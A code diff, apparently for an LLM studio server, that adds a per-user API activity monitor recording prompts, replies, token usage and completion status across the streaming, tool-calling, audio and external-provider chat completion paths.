+def _monitor_tool_calls_text(tool_calls: Any) -> str:
+    if not isinstance(tool_calls, list):
+        return ""
+    parts: list[str] = []
+    for tool_call in tool_calls:
+        if not isinstance(tool_call, dict):
+            continue
+        fn = tool_call.get("function") or {}
+        if not isinstance(fn, dict):
+            fn = {}
+        name = fn.get("name") or tool_call.get("name") or "tool"
+        args = fn.get("arguments")
+        if args is None:
+            args = tool_call.get("arguments")
+        parts.append(_monitor_call_text(name, args))
+    return "\n".join(parts)
+
+
+def _monitor_openai_chunk(
+    monitor_id: Optional[str],
+    data: dict,
+    context_length = None,
+):
+    if not monitor_id:
+        return
+    _monitor_usage(monitor_id, data.get("usage"), context_length)
+    # Defensive: ignore malformed shapes so the helper never raises into the
+    # streaming generator and aborts the user's response.
+    choices = data.get("choices")
+    if not isinstance(choices, list) or not choices:
+        return
+    reply_parts: list[tuple[int, str]] = []
+    for idx, choice in enumerate(choices):
+        if not isinstance(choice, dict):
+            continue
+        delta = choice.get("delta") or {}
+        message = choice.get("message") or {}
+        content = delta.get("content") if isinstance(delta, dict) else None
+        if content:
+            api_monitor.append_reply(monitor_id, content)
+            continue
+        if isinstance(delta, dict):
+            tool_text = _monitor_tool_calls_text(delta.get("tool_calls"))
+            if tool_text:
+                api_monitor.append_reply(monitor_id, tool_text)
+                continue
+        if isinstance(choice.get("text"), str):
+            reply_parts.append((idx, choice["text"]))
+        elif isinstance(message, dict):
+            text = message.get("content")
+            if isinstance(text, str):
+                reply_parts.append((idx, text))
+            else:
+                tool_text = _monitor_tool_calls_text(message.get("tool_calls"))
+                if tool_text:
+                    reply_parts.append((idx, tool_text))
+    if not reply_parts:
+        return
+    if len(choices) == 1:
+        api_monitor.append_reply(monitor_id, reply_parts[0][1])
+        return
+    api_monitor.append_reply(
+        monitor_id,
+        "\n\n".join(f"Choice {idx + 1}:\n{text}" for idx, text in reply_parts),
+    )
+
+
+def _monitor_openai_error_message(data: dict) -> Optional[str]:
+    error = data.get("error")
+    if isinstance(error, dict):
+        message = error.get("message")
+        if isinstance(message, str) and message:
+            return message
+        return json.dumps(error)
+    if isinstance(error, str) and error:
+        return error
+    return None
+
+
+def _monitor_openai_sse_line(
+    monitor_id: Optional[str],
+    raw_line: str,
+    context_length = None,
+) -> Optional[str]:
+    if not monitor_id:
+        return None
+    # SSE spec allows `data:value` and `data: value`; accept both.
+    if not raw_line.startswith("data:"):
+        return None
+    data_str = raw_line[5:].lstrip()
+    if data_str == "[DONE]":
+        api_monitor.finish(monitor_id)
+        return "done"
+    try:
+        data = json.loads(data_str)
+    except json.JSONDecodeError:
+        return None
+    if isinstance(data, dict):
+        error_message = _monitor_openai_error_message(data)
+        if error_message:
+            api_monitor.fail(monitor_id, error_message)
+            return "error"
+        _monitor_openai_chunk(monitor_id, data, context_length)
+    return None
+
+
+def _monitor_openai_sse_event(
+    monitor_id: Optional[str],
+    event: bytes,
+    context_length = None,
+) -> None:
+    for line in event.decode("utf-8", errors = "ignore").splitlines():
+        _monitor_openai_sse_line(monitor_id, line.strip(), context_length)
+
+
+def _monitor_anthropic_usage(
+    monitor_id: Optional[str],
+    usage: Optional[dict],
+    context_length = None,
+) -> None:
+    if not usage:
+        return
+    _monitor_usage(
+        monitor_id,
+        {
+            "prompt_tokens": usage.get("input_tokens") or usage.get("prompt_tokens"),
+            "completion_tokens": usage.get("output_tokens") or usage.get("completion_tokens"),
+            "total_tokens": usage.get("total_tokens"),
+        },
+        context_length,
+    )
+
+
+_ANTHROPIC_MONITOR_TOOL_BLOCKS: dict[str, dict[int, bool]] = {}
+
+
+def _monitor_anthropic_index(data: dict) -> int:
+    try:
+        return int(data.get("index") or 0)
+    except (TypeError, ValueError):
+        return 0
+
+
+def _monitor_anthropic_payload(
+    monitor_id: Optional[str],
+    data: dict,
+    context_length = None,
+) -> Optional[str]:
+    if not monitor_id or not isinstance(data, dict):
+        return None
+    event_type = data.get("type")
+    if event_type == "message_start":
+        message = data.get("message") or {}
+        if isinstance(message, dict):
+            _monitor_anthropic_usage(monitor_id, message.get("usage"), context_length)
+        return None
+    if event_type == "content_block_start":
+        content_block = data.get("content_block") or {}
+        if isinstance(content_block, dict) and content_block.get("type") == "tool_use":
+            index = _monitor_anthropic_index(data)
+            _ANTHROPIC_MONITOR_TOOL_BLOCKS.setdefault(monitor_id, {})[index] = False
+            api_monitor.append_reply(monitor_id, _monitor_call_text(content_block.get("name")))
+        return None
+    if event_type == "content_block_delta":
+        delta = data.get("delta") or {}
+        text = delta.get("text") if isinstance(delta, dict) else None
+        if isinstance(text, str) and text:
+            api_monitor.append_reply(monitor_id, text)
+        elif isinstance(delta, dict) and delta.get("type") == "input_json_delta":
+            index = _monitor_anthropic_index(data)
+            tool_blocks = _ANTHROPIC_MONITOR_TOOL_BLOCKS.get(monitor_id) or {}
+            if index in tool_blocks:
+                if not tool_blocks[index]:
+                    api_monitor.append_reply(monitor_id, "\nInput: ")
+                    tool_blocks[index] = True
+                partial_json = delta.get("partial_json")
+                if isinstance(partial_json, str) and partial_json:
+                    api_monitor.append_reply(monitor_id, partial_json)
+        return None
+    if event_type == "content_block_stop":
+        index = _monitor_anthropic_index(data)
+        tool_blocks = _ANTHROPIC_MONITOR_TOOL_BLOCKS.get(monitor_id)
+        if tool_blocks is not None:
+            tool_blocks.pop(index, None)
+            if not tool_blocks:
+                _ANTHROPIC_MONITOR_TOOL_BLOCKS.pop(monitor_id, None)
+        return None
+    if event_type == "message_delta":
+        _monitor_anthropic_usage(monitor_id, data.get("usage"), context_length)
+        return None
+    if event_type == "error":
+        error = data.get("error") or {}
+        if isinstance(error, dict):
+            message = error.get("message") or json.dumps(error, default = str)
+        else:
+            message = str(error)
+        api_monitor.fail(monitor_id, message)
+        return "error"
+    return None
+
+
+def _monitor_anthropic_sse_line(
+    monitor_id: Optional[str],
+    raw_line: str,
+    context_length = None,
+) -> Optional[str]:
+    if not monitor_id or not raw_line.startswith("data:"):
+        return None
+    data_str = raw_line[5:].lstrip()
+    try:
+        data = json.loads(data_str)
+    except json.JSONDecodeError:
+        return None
+    return _monitor_anthropic_payload(monitor_id, data, context_length)
+
+
+def _monitor_anthropic_content_blocks(content: Any) -> str:
+    if not isinstance(content, list):
+        return ""
+    parts: list[str] = []
+    for block in content:
+        if not isinstance(block, dict):
+            continue
+        if block.get("type") == "text" and isinstance(block.get("text"), str):
+            parts.append(block["text"])
+        elif block.get("type") == "tool_use":
+            parts.append(_monitor_call_text(block.get("name"), block.get("input")))
+    return "".join(parts)
+
+
+def _monitor_anthropic_json_response(
+    response,
+    monitor_id: Optional[str],
+    context_length = None,
+) -> None:
+    if not monitor_id:
+        return
+    body = getattr(response, "body", b"")
+    try:
+        data = json.loads(body.decode("utf-8") if isinstance(body, bytes) else body)
+    except Exception:
+        api_monitor.finish(monitor_id)
+        return
+    if not isinstance(data, dict):
+        api_monitor.finish(monitor_id)
+        return
+    text = _monitor_anthropic_content_blocks(data.get("content"))
+    if text:
+        api_monitor.set_reply(monitor_id, text)
+    _monitor_anthropic_usage(monitor_id, data.get("usage"), context_length)
+    api_monitor.finish(monitor_id)
+
+
+def _monitor_anthropic_response(
+    response,
+    monitor_id,
+    context_length = None,
+    cancel_event = None,
+):
+    if not monitor_id:
+        return response
+    body_iterator = getattr(response, "body_iterator", None)
+    if body_iterator is None:
+        _monitor_anthropic_json_response(response, monitor_id, context_length)
+        return response
+
+    async def _monitored_body():
+        terminal = False
+        try:
+            async for chunk in body_iterator:
+                text = (
+                    chunk.decode("utf-8", errors = "ignore")
+                    if isinstance(chunk, (bytes, bytearray))
+                    else str(chunk)
+                )
+                for line in text.splitlines():
+                    if (
+                        _monitor_anthropic_sse_line(
+                            monitor_id,
+                            line.strip(),
+                            context_length,
+                        )
+                        == "error"
+                    ):
+                        terminal = True
+                yield chunk
+            if not terminal:
+                api_monitor.finish(
+                    monitor_id,
+                    "cancelled"
+                    if cancel_event is not None and cancel_event.is_set()
+                    else "completed",
+                )
+            _ANTHROPIC_MONITOR_TOOL_BLOCKS.pop(monitor_id, None)
+        except asyncio.CancelledError:
+            if cancel_event is not None:
+                cancel_event.set()
+            api_monitor.finish(monitor_id, "cancelled")
+            _ANTHROPIC_MONITOR_TOOL_BLOCKS.pop(monitor_id, None)
+            raise
+        except Exception as exc:
+            api_monitor.fail(monitor_id, _friendly_error(exc))
+            _ANTHROPIC_MONITOR_TOOL_BLOCKS.pop(monitor_id, None)
+            raise
+
+    response.body_iterator = _monitored_body()
+    return response
+
+
+def _monitor_context_length() -> Optional[int]:
+    llama_backend = get_llama_cpp_backend()
+    if getattr(llama_backend, "is_loaded", False):
+        context_length = _positive_int_or_none(getattr(llama_backend, "context_length", None))
+        if context_length is not None:
+            return context_length
+    backend = get_inference_backend()
+    if not backend.active_model_name:
+        return None
+    models = getattr(backend, "models", {}) or {}
+    model_info = models.get(backend.active_model_name, {}) if isinstance(models, dict) else {}
+    context_length = _positive_int_or_none(model_info.get("context_length"))
+    if context_length is not None:
+        return context_length
+    for candidate in (
+        getattr(backend, "context_length", None),
+        getattr(backend, "max_seq_length", None),
+    ):
+        context_length = _positive_int_or_none(candidate)
+        if context_length is not None:
+            return context_length
+    return None
+
+
+def _monitor_active_model() -> Optional[str]:
+    llama_backend = get_llama_cpp_backend()
+    if getattr(llama_backend, "is_loaded", False):
+        return getattr(llama_backend, "model_identifier", None)
+    backend = get_inference_backend()
+    return backend.active_model_name
+
+
 def _validate_native_gguf_companion(
     companion_path: str | None, gguf_path: str | None, label: str
 ) -> None:
@@ -2247,6 +2665,35 @@ async def confirm_tool_call(
     return {"resolved": True}
 
 
+@studio_router.get("/monitor")
+async def get_api_monitor(current_subject: str = Depends(get_current_subject)):
+    """Return recent OpenAI-compatible API activity for Studio."""
+    active_model = _monitor_active_model()
+    active_requests = api_monitor.active_count(subject = current_subject)
+    if active_requests:
+        operating_status = "generating"
+    elif active_model:
+        operating_status = "ready"
+    else:
+        operating_status = "idle"
+    return {
+        "status": operating_status,
+        "active_model": active_model,
+        "context_length": _monitor_context_length(),
+        "active_requests": active_requests,
+        "entries": api_monitor.snapshot(include_details = False, subject = current_subject),
+    }
+
+
+@studio_router.get("/monitor/{entry_id}")
+async def get_api_monitor_entry(entry_id: str, current_subject: str = Depends(get_current_subject)):
+    """Return full prompt/reply details for one OpenAI-compatible API request."""
+    entry = api_monitor.get(entry_id, subject = current_subject)
+    if entry is None:
+        raise HTTPException(status_code = 404, detail = "Monitor entry not found")
+    return entry
+
+
 @router.post("/generate/stream")
 async def generate_stream(
     request: GenerateRequest, current_subject: str = Depends(get_current_subject)
@@ -3167,7 +3614,9 @@ def _build_external_messages(
 
 
 async def _proxy_to_external_provider(
-    payload: ChatCompletionRequest, request: Request
+    payload: ChatCompletionRequest,
+    request: Request,
+    current_subject: Optional[str] = None,
 ) -> StreamingResponse:
     """
     Proxy a chat completion request to an external LLM provider.
@@ -3238,6 +3687,16 @@ async def _proxy_to_external_provider(
         provider_type = provider_type,
         base_url = base_url,
     )
+    monitor_id = None
+    if not getattr(request.state, "skip_api_monitor", False):
+        monitor_id = api_monitor.start(
+            endpoint = request.url.path,
+            method = request.method,
+            model = model,
+            prompt = _monitor_prompt_from_messages(payload.messages),
+            context_length = None,
+            subject = current_subject,
+        )
 
     client = ExternalProviderClient(
         provider_type = provider_type,
@@ -3279,14 +3738,29 @@ async def _proxy_to_external_provider(
         )
         try:
             sent_done = False
+            stream_failed = False
             async for line in gen:
+                monitor_event = _monitor_openai_sse_line(monitor_id, line)
+                if monitor_event is None:
+                    try:
+                        _monitor_openai_chunk(monitor_id, json.loads(line))
+                    except Exception:
+                        pass
+                if monitor_event == "error":
+                    stream_failed = True
                 yield f"{line}\n\n"
-                if "[DONE]" in line:
+                if monitor_event == "done":
                     sent_done = True
             if not sent_done:
+                if not stream_failed:
+                    api_monitor.finish(monitor_id)
                 yield "data: [DONE]\n\n"
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
         except Exception as exc:
             logger.error("external_provider.stream_error", error = str(exc))
+            api_monitor.fail(monitor_id, _friendly_error(exc))
         finally:
             try:
                 await gen.aclose()
@@ -3546,7 +4020,7 @@ async def openai_chat_completions(
             )
         if _wants_multiple_choices(payload):
             _raise_unsupported_n("external provider chat completions")
-        return await _proxy_to_external_provider(payload, request)
+        return await _proxy_to_external_provider(payload, request, current_subject)
 
     # Reject a malformed function tool here: it would otherwise reach
     # llama-server and surface as an opaque 500 "Failed to parse tools".
@@ -3595,12 +4069,49 @@ async def openai_chat_completions(
     # ── Determine which backend is active ─────────────────────
     # Single-model server: any model name serves the loaded model (drop-in
     # OpenAI compat), so payload.model is only a fallback label here.
+    monitor_id = None
+
+    async def _monitored_generate_audio(model_label: str, context_length: Optional[int] = None):
+        tts_monitor_id = None
+        if not getattr(request.state, "skip_api_monitor", False):
+            tts_monitor_id = api_monitor.start(
+                endpoint = request.url.path,
+                method = request.method,
+                model = model_label,
+                prompt = _monitor_prompt_from_messages(payload.messages),
+                context_length = context_length,
+                subject = current_subject,
+            )
+        try:
+            response = await generate_audio(payload, request)
+        except asyncio.CancelledError:
+            api_monitor.finish(tts_monitor_id, "cancelled")
+            raise
+        except Exception as e:
+            api_monitor.fail(tts_monitor_id, _friendly_error(e))
+            raise
+        if isinstance(response, JSONResponse):
+            try:
+                body = json.loads(response.body.decode())
+                choices = body.get("choices") or []
+                message = (choices[0].get("message") or {}) if choices else {}
+                content = message.get("content")
+                if isinstance(content, str):
+                    api_monitor.set_reply(tts_monitor_id, content)
+            except Exception:
+                pass
+        api_monitor.finish(tts_monitor_id)
+        return response
+
     if using_gguf:
         model_name = llama_backend.model_identifier or payload.model
         if getattr(llama_backend, "_is_audio", False):
             if _wants_multiple_choices(payload):
                 _raise_unsupported_n("GGUF audio chat completions")
-            return await generate_audio(payload, request)
+            return await _monitored_generate_audio(
+                model_name,
+                context_length = llama_backend.context_length,
+            )
     else:
         backend = get_inference_backend()
         if not backend.active_model_name:
@@ -3616,7 +4127,7 @@ async def openai_chat_completions(
         # (Whisper is ASR not TTS -- handled below in audio input path)
         model_info = backend.models.get(backend.active_model_name, {})
         if model_info.get("is_audio") and model_info.get("audio_type") != "whisper":
-            return await generate_audio(payload, request)
+            return await _monitored_generate_audio(model_name)
 
         # ── Whisper without audio: return clear error ──
         if model_info.get("audio_type") == "whisper" and not payload.audio_base64:
@@ -3625,10 +4136,25 @@ async def openai_chat_completions(
                 detail = "Whisper models require audio input. Please upload an audio file.",
             )
 
+        monitor_id = None
+        if not getattr(request.state, "skip_api_monitor", False):
+            monitor_id = api_monitor.start(
+                endpoint = request.url.path,
+                method = request.method,
+                model = model_name,
+                prompt = _monitor_prompt_from_messages(payload.messages),
+                context_length = _monitor_context_length(),
+                subject = current_subject,
+            )
+
         # ── Audio INPUT path: decode WAV and route to audio input generation ──
         if payload.audio_base64 and model_info.get("has_audio_input"):
-            audio_array = _decode_audio_base64(payload.audio_base64)
-            system_prompt, chat_messages, _ = _extract_content_parts(payload.messages)
+            try:
+                audio_array = _decode_audio_base64(payload.audio_base64)
+                system_prompt, chat_messages, _ = _extract_content_parts(payload.messages)
+            except Exception as e:
+                api_monitor.fail(monitor_id, _friendly_error(e))
+                raise
             cancel_event = threading.Event()
             completion_id = f"chatcmpl-{uuid.uuid4().hex[:12]}"
             created = int(time.time())
@@ -3674,16 +4200,20 @@ async def openai_chat_completions(
 
                         gen = audio_input_generate()
                         _DONE = object()
+                        cancelled = False
                         while True:
                             if cancel_event.is_set():
+                                cancelled = True
                                 break
                             if await request.is_disconnected():
                                 cancel_event.set()
+                                api_monitor.finish(monitor_id, "cancelled")
                                 return
                             chunk_text = await asyncio.to_thread(next, gen, _DONE)
                             if chunk_text is _DONE:
                                 break
                             if chunk_text:
+                                api_monitor.append_reply(monitor_id, chunk_text)
                                 chunk = ChatCompletionChunk(
                                     id = completion_id,
                                     created = created,
@@ -3703,13 +4233,16 @@ async def openai_chat_completions(
                             model = model_name,
                             choices = [ChunkChoice(delta = ChoiceDelta(), finish_reason = "stop")],
                         )
+                        api_monitor.finish(monitor_id, "cancelled" if cancelled else "completed")
                         yield f"data: {final_chunk.model_dump_json(exclude_none = True)}\n\n"
                         yield "data: [DONE]\n\n"
                     except asyncio.CancelledError:
                         cancel_event.set()
+                        api_monitor.finish(monitor_id, "cancelled")
                         raise
                     except Exception as e:
                         logger.error(f"Error during audio input streaming: {e}", exc_info = True)
+                        api_monitor.fail(monitor_id, _friendly_error(e))
                         yield f"data: {json.dumps({'error': {'message': _friendly_error(e), 'type': 'server_error'}})}\n\n"
                     finally:
                         _tracker.__exit__(None, None, None)
@@ -3724,7 +4257,13 @@ async def openai_chat_completions(
                     },
                 )
             else:
-                full_text = "".join(audio_input_generate())
+                try:
+                    full_text = "".join(audio_input_generate())
+                except Exception as e:
+                    api_monitor.fail(monitor_id, _friendly_error(e))
+                    raise
+                api_monitor.set_reply(monitor_id, full_text)
+                api_monitor.finish(monitor_id)
                 response = ChatCompletion(
                     id = completion_id,
                     created = created,
@@ -3738,6 +4277,34 @@ async def openai_chat_completions(
                 )
                 return JSONResponse(content = response.model_dump())
 
+    if monitor_id is None and not getattr(request.state, "skip_api_monitor", False):
+        monitor_id = api_monitor.start(
+            endpoint = request.url.path,
+            method = request.method,
+            model = model_name,
+            prompt = _monitor_prompt_from_messages(payload.messages),
+            context_length = _monitor_context_length(),
+            subject = current_subject,
+        )
+
+    # Finalize the monitor entry on validation rejection before raising.
+    def _reject(status_code: int, detail: Any) -> "HTTPException":
+        if monitor_id is not None:
+            fail_detail = detail if isinstance(detail, str) else json.dumps(detail, default = str)
+            api_monitor.fail(monitor_id, fail_detail)
+        return HTTPException(status_code = status_code, detail = detail)
+
+    def _reject_unsupported_n(path_label: str) -> "HTTPException":
+        return _reject(
+            400,
+            openai_error_body(
+                f"n > 1 is not supported for {path_label}.",
+                status = 400,
+                code = "unsupported_parameter",
+                param = "n",
+            ),
+        )
+
     # ── Standard OpenAI function-calling pass-through (GGUF only) ────
     # When a client (opencode / Claude Code via OpenAI compat / Cursor /
     # Continue / ...) sends standard OpenAI `tools` without Studio's
@@ -3769,14 +4336,14 @@ async def openai_chat_completions(
         and (_tools_passthrough or _has_response_format)
     ):
         if _wants_multiple_choices(payload):
-            _raise_unsupported_n("GGUF tool or response_format passthrough")
+            raise _reject_unsupported_n("GGUF tool or response_format passthrough")
         if payload.audio_base64:
             # This path forwards the request verbatim, so the transcoded audio
             # never gets injected. (The agentic tool loop below does support
             # audio.)
-            raise HTTPException(
-                status_code = 400,
-                detail = "Audio input is not supported together with guided decoding or client-supplied tools yet.",
+            raise _reject(
+                400,
+                "Audio input is not supported together with guided decoding or client-supplied tools yet.",
             )
 
         # Preserve the vision guard from the non-passthrough path below:
@@ -3791,9 +4358,9 @@ async def openai_chat_completions(
                 for m in payload.messages
             )
         ):
-            raise HTTPException(
-                status_code = 400,
-                detail = "Image provided but current GGUF model does not support vision.",
+            raise _reject(
+                400,
+                "Image provided but current GGUF model does not support vision.",
             )
 
         cancel_event = threading.Event()
@@ -3809,21 +4376,20 @@ async def openai_chat_completions(
                 payload,
                 model_name,
                 completion_id,
+                monitor_id = monitor_id,
             )
         return await _openai_passthrough_non_streaming(
             llama_backend,
             payload,
             model_name,
+            monitor_id = monitor_id,
         )
 
     # ── Parse messages (handles multimodal content parts) ─────
     system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages)
 
     if not chat_messages:
-        raise HTTPException(
-            status_code = 400,
-            detail = "At least one non-system message is required.",
-        )
+        raise _reject(400, "At least one non-system message is required.")
 
     # ── GGUF path: proxy to llama-server /v1/chat/completions ──
     if using_gguf:
@@ -3836,25 +4402,19 @@ async def openai_chat_completions(
         audio_format = "wav"
         if payload.audio_base64:
             if not getattr(llama_backend, "_has_audio_input", False):
-                raise HTTPException(
-                    status_code = 400,
-                    detail = "Audio provided but current GGUF model does not support audio input.",
+                raise _reject(
+                    400,
+                    "Audio provided but current GGUF model does not support audio input.",
                 )
             if len(payload.audio_base64) > _MAX_AUDIO_B64_CHARS:
-                raise HTTPException(
-                    status_code = 413,
-                    detail = "Audio file is too large (max ~25 MB).",
-                )
+                raise _reject(413, "Audio file is too large (max ~25 MB).")
             try:
                 audio_b64, audio_format = await asyncio.to_thread(
                     _prepare_audio_for_llama, payload.audio_base64
                 )
             except Exception as e:
                 logger.warning("Audio decode failed: %s", e, exc_info = True)
-                raise HTTPException(
-                    status_code = 400,
-                    detail = "Could not decode the provided audio file.",
-                )
+                raise _reject(400, "Could not decode the provided audio file.")
 
         gguf_messages, _ = _openai_messages_for_gguf_chat(
             payload,
@@ -3918,9 +4478,9 @@ async def openai_chat_completions(
             # Bypass Permissions suppresses confirm, so the stream requirement
             # (the gate needs streaming to prompt) no longer applies.
             if payload.confirm_tool_calls and not payload.bypass_permissions and not payload.stream:
-                raise HTTPException(
-                    status_code = 400,
-                    detail = openai_error_body(
+                raise _reject(
+                    400,
+                    openai_error_body(
                         "confirm_tool_calls requires stream=true for local tool execution.",
                         status = 400,
                         code = "invalid_request_error",
@@ -3928,7 +4488,7 @@ async def openai_chat_completions(
                     ),
                 )
             if _wants_multiple_choices(payload):
-                _raise_unsupported_n("GGUF tool chat completions")
+                raise _reject_unsupported_n("GGUF tool chat completions")
             # ── Tool-use system prompt nudge ──────────────────────
             _nudge = _build_tool_action_nudge(
                 tools = tools_to_use,
@@ -4038,6 +4598,7 @@ async def openai_chat_completions(
                             break
                         if await request.is_disconnected():
                             cancel_event.set()
+                            api_monitor.finish(monitor_id, "cancelled")
                             return
 
                         event = await asyncio.to_thread(next, gen, _tool_sentinel)
@@ -4086,6 +4647,7 @@ async def openai_chat_completions(
                         prev_text = clean_cumulative
                         if not new_text:
                             continue
+                        api_monitor.append_reply(monitor_id, new_text)
                         chunk = ChatCompletionChunk(
                             id = completion_id,
                             created = created,
@@ -4121,16 +4683,22 @@ async def openai_chat_completions(
                     )
                     if usage_line is not None:
                         yield usage_line
+                    _monitor_usage(monitor_id, _stream_usage, _monitor_context_length())
+                    api_monitor.finish(
+                        monitor_id, "cancelled" if cancel_event.is_set() else "completed"
+                    )
                     yield "data: [DONE]\n\n"
 
                 except asyncio.CancelledError:
                     cancel_event.set()
+                    api_monitor.finish(monitor_id, "cancelled")
                     raise
                 except Exception as e:
                     import traceback
 
                     tb = traceback.format_exc()
                     logger.error(f"Error during GGUF tool streaming: {e}\n{tb}")
+                    api_monitor.fail(monitor_id, _friendly_error(e))
                     error_chunk = _openai_stream_error_chunk(e)
                     yield f"data: {json.dumps(error_chunk)}\n\n"
                 finally:
@@ -4179,7 +4747,7 @@ async def openai_chat_completions(
 
         if payload.stream:
             if _wants_multiple_choices(payload):
-                _raise_unsupported_n("streaming GGUF chat completions")
+                raise _reject_unsupported_n("streaming GGUF chat completions")
             _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
             _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
             _tracker.__enter__()
@@ -4212,6 +4780,7 @@ async def openai_chat_completions(
                             break
                         if await request.is_disconnected():
                             cancel_event.set()
+                            api_monitor.finish(monitor_id, "cancelled")
                             return
                         cumulative = await asyncio.to_thread(next, gen, _gguf_sentinel)
                         if cumulative is _gguf_sentinel:
@@ -4236,6 +4805,7 @@ async def openai_chat_completions(
                         prev_text = cumulative
                         if not new_text:
                             continue
+                        api_monitor.append_reply(monitor_id, new_text)
                         chunk = ChatCompletionChunk(
                             id = completion_id,
                             created = created,
@@ -4272,13 +4842,19 @@ async def openai_chat_completions(
                     )
                     if usage_line is not None:
                         yield usage_line
+                    _monitor_usage(monitor_id, _stream_usage, _monitor_context_length())
+                    api_monitor.finish(
+                        monitor_id, "cancelled" if cancel_event.is_set() else "completed"
+                    )
                     yield "data: [DONE]\n\n"
 
                 except asyncio.CancelledError:
                     cancel_event.set()
+                    api_monitor.finish(monitor_id, "cancelled")
                     raise
                 except Exception as e:
                     logger.error(f"Error during GGUF streaming: {e}", exc_info = True)
+                    api_monitor.fail(monitor_id, _friendly_error(e))
                     error_chunk = _openai_stream_error_chunk(e)
                     yield f"data: {json.dumps(error_chunk)}\n\n"
                 finally:
@@ -4300,6 +4876,7 @@ async def openai_chat_completions(
                 _n = payload.n or 1
 
                 _choices = []
+                _monitor_replies = []
                 _prompt_tokens = 0
                 _sum_completion = 0
                 _prompt_details = None
@@ -4325,6 +4902,7 @@ async def openai_chat_completions(
                             finish_reason = _clamp_finish_reason(completion_finish),
                         )
                     )
+                    _monitor_replies.append(full_text)
                     if completion_usage:
                         # The prompt is shared across all n choices, so count its
                         # tokens ONCE (OpenAI bills only generated tokens for each
@@ -4346,10 +4924,27 @@ async def openai_chat_completions(
                         prompt_tokens_details = _prompt_tokens_details(_prompt_details),
                     ),
                 )
+                monitor_reply = full_text
+                if _n > 1:
+                    monitor_reply = "\n\n".join(
+                        f"Choice {_idx + 1}:\n{text}" for _idx, text in enumerate(_monitor_replies)
+                    )
+                api_monitor.set_reply(monitor_id, monitor_reply)
+                _monitor_usage(
+                    monitor_id,
+                    {
+                        "prompt_tokens": _prompt_tokens,
+                        "completion_tokens": _sum_completion,
+                        "total_tokens": _prompt_tokens + _sum_completion,
+                    },
+                    _monitor_context_length(),
+                )
+                api_monitor.finish(monitor_id)
                 return JSONResponse(content = response.model_dump())
 
             except Exception as e:
                 logger.error(f"Error during GGUF completion: {e}", exc_info = True)
+                api_monitor.fail(monitor_id, _friendly_error(e))
                 # An over-context prompt makes llama-server return 400; map any
                 # upstream 4xx to a 400 client error rather than leaking a 500.
                 _cls = _classify_llama_generation_error(e)
@@ -4469,9 +5064,9 @@ async def openai_chat_completions(
         # Bypass Permissions suppresses confirm, so the stream requirement
         # (the gate needs streaming to prompt) no longer applies.
         if payload.confirm_tool_calls and not payload.bypass_permissions and not payload.stream:
-            raise HTTPException(
-                status_code = 400,
-                detail = openai_error_body(
+            raise _reject(
+                400,
+                openai_error_body(
                     "confirm_tool_calls requires stream=true for local tool execution.",
                     status = 400,
                     code = "invalid_request_error",
@@ -4593,6 +5188,7 @@ async def openai_chat_completions(
                     if await request.is_disconnected():
                         cancel_event.set()
                         backend.reset_generation_state()
+                        api_monitor.finish(monitor_id, "cancelled")
                         return
 
                     event = await asyncio.to_thread(next, gen, _sf_tool_sentinel)
@@ -4627,6 +5223,7 @@ async def openai_chat_completions(
                     prev_text = clean_cumulative
                     if not new_text:
                         continue
+                    api_monitor.append_reply(monitor_id, new_text)
                     chunk = ChatCompletionChunk(
                         id = completion_id,
                         created = created,
@@ -4667,17 +5264,23 @@ async def openai_chat_completions(
                     )
                     if usage_line is not None:
                         yield usage_line
+                    _monitor_usage(monitor_id, _stats.get("usage"))
+                api_monitor.finish(
+                    monitor_id, "cancelled" if cancel_event.is_set() else "completed"
+                )
                 yield "data: [DONE]\n\n"
 
             except asyncio.CancelledError:
                 cancel_event.set()
                 backend.reset_generation_state()
+                api_monitor.finish(monitor_id, "cancelled")
                 raise
             except Exception:
                 backend.reset_generation_state()
                 # Generic wire message; full trace stays in the log (CWE-209:
                 # transformers/torch errors may leak paths).
                 logger.exception("safetensors tool stream error")
+                api_monitor.fail(monitor_id, "An internal error occurred.")
                 error_chunk = {
                     "error": {
                         "message": "An internal error occurred.",
@@ -4721,6 +5324,11 @@ async def openai_chat_completions(
                 return full_text
 
             content_text = await asyncio.to_thread(_drain_to_text)
+            api_monitor.set_reply(monitor_id, content_text)
+            _stats = _sf_stats_holder.get("stats")
+            if _stats:
+                _monitor_usage(monitor_id, _stats.get("usage"))
+            api_monitor.finish(monitor_id, "cancelled" if cancel_event.is_set() else "completed")
             response = ChatCompletion(
                 id = completion_id,
                 created = created,
@@ -4733,10 +5341,16 @@ async def openai_chat_completions(
                 ],
             )
             return JSONResponse(content = response.model_dump())
+        except asyncio.CancelledError:
+            cancel_event.set()
+            backend.reset_generation_state()
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
         except Exception:
             backend.reset_generation_state()
             # CWE-209: generic detail; full trace in log.
             logger.exception("safetensors tool completion error")
+            api_monitor.fail(monitor_id, "An internal error occurred.")
             raise HTTPException(
                 status_code = 500,
                 detail = "An internal error occurred.",
@@ -4830,11 +5444,13 @@ async def openai_chat_completions(
                     if await request.is_disconnected():
                         cancel_event.set()
                         backend.reset_generation_state()
+                        api_monitor.finish(monitor_id, "cancelled")
                         return
                     new_text = cumulative[len(prev_text) :]
                     prev_text = cumulative
                     if not new_text:
                         continue
+                    api_monitor.append_reply(monitor_id, new_text)
                     chunk = ChatCompletionChunk(
                         id = completion_id,
                         created = created,
@@ -4876,15 +5492,21 @@ async def openai_chat_completions(
                     )
                     if usage_line is not None:
                         yield usage_line
+                    _monitor_usage(monitor_id, _stats.get("usage"))
+                api_monitor.finish(
+                    monitor_id, "cancelled" if cancel_event.is_set() else "completed"
+                )
                 yield "data: [DONE]\n\n"
 
             except asyncio.CancelledError:
                 cancel_event.set()
                 backend.reset_generation_state()
+                api_monitor.finish(monitor_id, "cancelled")
                 raise
             except Exception as e:
                 backend.reset_generation_state()
                 logger.error(f"Error during OpenAI streaming: {e}", exc_info = True)
+                api_monitor.fail(monitor_id, _friendly_error(e))
                 error_chunk = {
                     "error": {
                         "message": _friendly_error(e),
@@ -4923,11 +5545,17 @@ async def openai_chat_completions(
                     )
                 ],
             )
+            api_monitor.set_reply(monitor_id, full_text)
+            _stats = stats_holder.get("stats")
+            if _stats:
+                _monitor_usage(monitor_id, _stats.get("usage"))
+            api_monitor.finish(monitor_id)
             return JSONResponse(content = response.model_dump())
 
         except Exception as e:
             backend.reset_generation_state()
             logger.error(f"Error during OpenAI completion: {e}", exc_info = True)
